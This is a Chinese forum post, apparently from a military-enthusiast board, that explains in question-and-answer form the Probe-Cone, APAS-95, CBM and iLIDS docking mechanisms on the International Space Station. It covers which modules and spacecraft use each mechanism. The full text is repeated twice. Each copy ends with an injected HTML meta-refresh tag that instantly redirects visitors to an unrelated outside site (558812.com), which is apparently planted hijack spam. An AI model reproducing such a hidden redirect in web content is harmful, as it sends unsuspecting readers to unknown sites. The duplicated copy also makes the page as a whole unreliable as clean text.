简介国际空间站上的几种对接装置

从本版的《关于天宫1号的对接装置》一帖（http://lt.cjdby.net/thread-1159078-1-1.html）中可以看出很多网友对于对接装置并不是特别了解。国际空间站（简称ISS）集中了目前正在使用的三种对接装置：Probe-Cone（也就是销钉-锥孔式）、APAS-95和CBM（common berthing mechanism），未来还会用iLIDS( international Low Impact Docking System)/NDS(NASA Docking System)代替PMA-2上的APAS-95接口。这里用问答的形式以ISS为例介绍一下这几种对接装置。

四种对接装置的示意图


Q：Probe-Cone、APAS-95、CBM和iLIDS四种对接口有什么不同？
A：Probe-Cone对接口分主动端Probe和被动端Cone，携带主动端的两艘联盟飞船无法相互对接；
APAS-95对接口既可用作主动端也可用作被动端，携带主动端的两艘航天飞机可以相互对接；
CBM对接口无法自主对接，需机械臂辅助，其优点是舱口尺寸是APAS-95的1.7倍，非俄国舱段（美、欧、日）使用的国际空间站标准机架只能通过CBM对接口运送；
iLIDS对接口虽然尺寸与APAS-95相仿，但由于前者是电磁对接装置而后者是机械对接装置，因此iLIDS无法与APAS-95直接对接，需经过一个转换装置（ISS LIDS/APAS Adapter），如下图所示。


Q：ISS的各舱段之间分别使用何种对接装置连接？
A：所有的俄国舱段之间使用Probe-Cone对接口相连，这些舱段可以自主相互对接；
所有的非俄国舱段（美、欧、日）使用CBM对接口相连，包括航天飞机携带的补给仓MPLM，这些舱段只能通过航天飞机运输；
非俄国舱段和俄国舱段之间的对接使用APAS-95对接口，这种对接方式只有一处使用，就是Zarya舱的前端通过PAM1与Node1节点舱（Unity）对接。

Q：为ISS运送货物和成员的飞船都使用何种对接装置？
A：按对接口分类
Probe-Cone：Soyuz、Progress和ATV，这三种飞船只能与带有probe-cone被动端的俄国舱段对接；
APAS-95：航天飞机，只能与带有APAS-95被动端的PMA对接
CBM：HTV、Dragon和Cygnus，这三种飞船只能与带有CBM被动端的节点舱Node 2（harmony）对接，同时对接过程需要加拿大机械臂辅助。


Q：连接俄国舱段的Probe-Cone对接口与连接Soyuz飞船的Probe-Cone对接口是否有异同？
A：Probe-Cone对接口有两种，分别是classic和hybrid，前者专门用于飞船和空间站对接，后者专门用于空间站舱段对接。两者的区别主要在于hybrid的直径要大一些，另外hybrid对接口部分借鉴了APAS，这也是“hybrid”一词的来源。

Q：ATV和HTV为何不使用APAS-95？
A：ATV和HTV在ISS后勤补给中的分工不同。
ATV负责ISS推进所需燃料的运输和ISS轨道提升任务，必须与俄国舱段对接，因此使用Probe-Cone对接口。这也意味着ATV无法运输ISS标准机架，因此体积较小的宇航员日常消耗品（水、食品、空气和试验材料）大多由ATV运输；
HTV则主要负责运送包括ISS标准机架在内的试验器材，因此使用大直径的CBM对接口，与节点舱Node 2对接。同时由于加拿大机械臂无法达到ATV的对接位置，因此ISS的备份零部件和舱外暴露试验材料等非加压货物也需要靠HTV运输。在目前航天飞机退役而Dragon和Cygnus尚未投入使用的空白期，HTV成为唯一可以运输ISS标准机架和非加压货物的飞船。<meta http-equiv="refresh" content="0; url=http://558812.com">
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从本版的《关于天宫1号的对接装置》一帖（http://lt.cjdby.net/thread-1159078-1-1.html）中可以看出很多网友对于对接装置并不是特别了解。国际空间站（简称ISS）集中了目前正在使用的三种对接装置：Probe-Cone（也就是销钉-锥孔式）、APAS-95和CBM（common berthing mechanism），未来还会用iLIDS( international Low Impact Docking System)/NDS(NASA Docking System)代替PMA-2上的APAS-95接口。这里用问答的形式以ISS为例介绍一下这几种对接装置。

四种对接装置的示意图


Q：Probe-Cone、APAS-95、CBM和iLIDS四种对接口有什么不同？
A：Probe-Cone对接口分主动端Probe和被动端Cone，携带主动端的两艘联盟飞船无法相互对接；
APAS-95对接口既可用作主动端也可用作被动端，携带主动端的两艘航天飞机可以相互对接；
CBM对接口无法自主对接，需机械臂辅助，其优点是舱口尺寸是APAS-95的1.7倍，非俄国舱段（美、欧、日）使用的国际空间站标准机架只能通过CBM对接口运送；
iLIDS对接口虽然尺寸与APAS-95相仿，但由于前者是电磁对接装置而后者是机械对接装置，因此iLIDS无法与APAS-95直接对接，需经过一个转换装置（ISS LIDS/APAS Adapter），如下图所示。


Q：ISS的各舱段之间分别使用何种对接装置连接？
A：所有的俄国舱段之间使用Probe-Cone对接口相连，这些舱段可以自主相互对接；
所有的非俄国舱段（美、欧、日）使用CBM对接口相连，包括航天飞机携带的补给仓MPLM，这些舱段只能通过航天飞机运输；
非俄国舱段和俄国舱段之间的对接使用APAS-95对接口，这种对接方式只有一处使用，就是Zarya舱的前端通过PAM1与Node1节点舱（Unity）对接。

Q：为ISS运送货物和成员的飞船都使用何种对接装置？
A：按对接口分类
Probe-Cone：Soyuz、Progress和ATV，这三种飞船只能与带有probe-cone被动端的俄国舱段对接；
APAS-95：航天飞机，只能与带有APAS-95被动端的PMA对接
CBM：HTV、Dragon和Cygnus，这三种飞船只能与带有CBM被动端的节点舱Node 2（harmony）对接，同时对接过程需要加拿大机械臂辅助。


Q：连接俄国舱段的Probe-Cone对接口与连接Soyuz飞船的Probe-Cone对接口是否有异同？
A：Probe-Cone对接口有两种，分别是classic和hybrid，前者专门用于飞船和空间站对接，后者专门用于空间站舱段对接。两者的区别主要在于hybrid的直径要大一些，另外hybrid对接口部分借鉴了APAS，这也是“hybrid”一词的来源。

Q：ATV和HTV为何不使用APAS-95？
A：ATV和HTV在ISS后勤补给中的分工不同。
ATV负责ISS推进所需燃料的运输和ISS轨道提升任务，必须与俄国舱段对接，因此使用Probe-Cone对接口。这也意味着ATV无法运输ISS标准机架，因此体积较小的宇航员日常消耗品（水、食品、空气和试验材料）大多由ATV运输；
HTV则主要负责运送包括ISS标准机架在内的试验器材，因此使用大直径的CBM对接口，与节点舱Node 2对接。同时由于加拿大机械臂无法达到ATV的对接位置，因此ISS的备份零部件和舱外暴露试验材料等非加压货物也需要靠HTV运输。在目前航天飞机退役而Dragon和Cygnus尚未投入使用的空白期，HTV成为唯一可以运输ISS标准机架和非加压货物的飞船。<meta http-equiv="refresh" content="0; url=http://558812.com">
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